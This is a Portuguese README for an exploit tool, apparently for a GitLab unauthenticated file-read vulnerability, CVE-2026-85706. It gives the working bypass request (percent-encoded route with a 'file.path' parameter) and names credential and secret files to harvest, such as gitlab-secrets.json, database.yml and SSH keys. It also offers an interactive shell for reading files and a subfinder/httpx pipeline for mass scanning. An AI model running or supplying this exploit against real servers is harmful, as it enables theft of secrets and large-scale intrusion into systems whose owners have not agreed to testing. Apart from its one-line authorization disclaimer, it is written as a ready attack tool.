
Scanner e exploit em Python de arquivo único para CVE-2026-85706, uma leitura arbitrária de arquivos não autenticada no GitLab CE/EE autogerenciado, com enumeração de projetos, caminhos de loot e um shell interativo.
CVE-2026-85706 — leitura arbitrária de arquivos não autenticada no GitLab CE/EE
detecção · enumeração de projetos públicos · coleta · shell interativo · pipeline subfinder/httpx
Autor: Yunus Emre Öztaş (mitsec)
X: x.com/ynsmroztas
GitHub: github.com/ynsmroztas
Site: ynsmroztas.github.io
E-mail: [email protected]
Use apenas em sistemas que você possui ou está explicitamente autorizado a testar (bug bounty / VDP / contrato escrito).
GitLabSniper.py é um scanner/exploit Python de arquivo único para a CVE-2026-85706: uma leitura de arquivo local não autenticada no GitLab Community Edition e Enterprise Edition auto-gerenciados.
Ele não para em "a versão parece afetada". Ele dispara o bypass de diferencial de parser do Workhorse, classifica a resposta do Rails e só imprime FILE LEAK quando o corpo 400 contém os bytes do arquivo dentro de invalid %-encoding (...).
| Faixa | Versões |
|---|---|
| Afetadas | 18.7 – 19.1.7 · 19.2.0 – 19.2.5 · 19.3.0 – 19.3.1 |
| Corrigidas | 19.1.8 / 19.2.6 / 19.3.2 (2026-09-10) |
| Fora do escopo | gitlab.com · GitLab Dedicated |
Três endpoints de repositório ficam atrás do requestBodyUploader do Workhorse:
POST /api/v4/projects/:id/repository/commitsPOST /api/v4/projects/:id/repository/files/:file_pathPUT /api/v4/projects/:id/repository/files/:file_pathO Rails pega o campo bruto file.path e executa File.open antes de authenticate!. require_gitlab_workhorse! não é um gate real aqui: o Workhorse já carimba um JWT válido Gitlab-Workhorse-Api-Request em tudo que ele faz proxy.
O Workhorse deveria reescrever o upload primeiro. Sua regex de rota corresponde a EscapedPath() e a um clone de path.Clean que nunca faz percent-decode. O Puma faz decode de %XX antes do roteamento do Grape.
Atacante
POST /api/v4/projects/35/repository/%63ommits
POST /api/v4/projects/35/repository/commits/ ← barra final também passa
?file=&file.path=/etc/passwd&file.size=1
&Content-Type=application/x-www-form-urlencoded
│
▼
Workhorse regex vê "%63ommits" / "commits/" → MISS (sem reescrita)
│
▼
Puma decodifica %63 → commits → ROTEIA para o Rails
│
▼
Rails File.open(params[:file][:path]) → ANTES da autenticação
│
▼
Rack parse_nested_query(File.read(path))
"%" solto que não é %HH
│
▼
HTTP 400 Invalid parameter: invalid %-encoding (<bytes brutos do arquivo>)
file= em branco satisfaz requires :file, WorkhorseFile (em branco → nil). O canal de vazamento é o ramo urlencoded. JSON/Oj não ecoa os bytes do arquivo da mesma forma — a ferramenta sempre envia Content-Type=application/x-www-form-urlencoded.
//, /./, %2F e ; não fazem bypass: path.Clean normaliza os dois primeiros e o Puma rejeita %2F.
O id do projeto não é "de qual repositório roubar arquivos". file.path é um caminho absoluto no servidor. O id é apenas a parte da URL que chega ao controller vulnerável.
| Endpoint | Requisito de projeto |
|---|---|
files (%66iles) | Qualquer id geralmente funciona — File.open ocorre antes das verificações de projeto |
commits (%63ommits, commits/, commits.json) | Precisa de um projeto que um usuário anônimo possa read_code. Caso contrário, 404 Project Not Found |
É por isso que a ferramenta enumera GET /api/v4/projects e pula ids com gate.
Um vazamento confirmado exige esta substring no corpo:
invalid %-encoding (
Arquivos sem um % isolado ainda podem ser abertos (read-noecho / posteriormente branch is required), mas não serão ecoados. Isso é um oráculo, não um dump reportável.
x-gitlab-* / sign-in) + faixa de versão quando visívelGET /api/v4/projects)1..7)%63ommits · %72epository · %66iles/ · .jsonleak · leak-fragment · read-noecho · missing · project-gate · rewrite · noroute--auto (hostname, passwd, secrets.yml, gitlab-secrets.json, gitlab.rb, database.yml, chaves ssh, environ)cat, loot, secrets, passwd, project <id>, curl)httpx -sc -td -title, httpx -json, ANSI removido-o)pip install requests
python3 GitLabSniper.py -h
Python 3.10+. Sem outras dependências.
python3 GitLabSniper.py -u https://gitlab.example.com --auto
python3 GitLabSniper.py -u https://gitlab.example.com --auto --shell
python3 GitLabSniper.py -u https://gitlab.example.com --file /etc/gitlab/gitlab-secrets.json
python3 GitLabSniper.py -u https://gitlab.example.com --project-id 35 --auto
python3 GitLabSniper.py -u https://gitlab.example.com --shell
[email protected]> help
[email protected]> cat /etc/passwd
[email protected]> secrets
[email protected]> loot
[email protected]> project 35
[email protected]> curl /etc/gitlab/gitlab.rb
[email protected]> exit
subfinder -d example.com -silent \
| httpx -silent -sc -td -title \
| python3 GitLabSniper.py --pipe --auto -o hits.jsonl
subfinder -d example.com -silent \
| httpx -silent -json \
| python3 GitLabSniper.py --pipe --auto -q -o hits.jsonl
# stdin não é um TTY → --pipe é implícito
cat hosts.txt | python3 GitLabSniper.py --auto
O parser aceita:
https://gitlab.example.comhttps://gitlab.example.com [200] [GitLab] [nginx]httpx -json (url / status_code)host puro e host:port[0] / timeout / vazias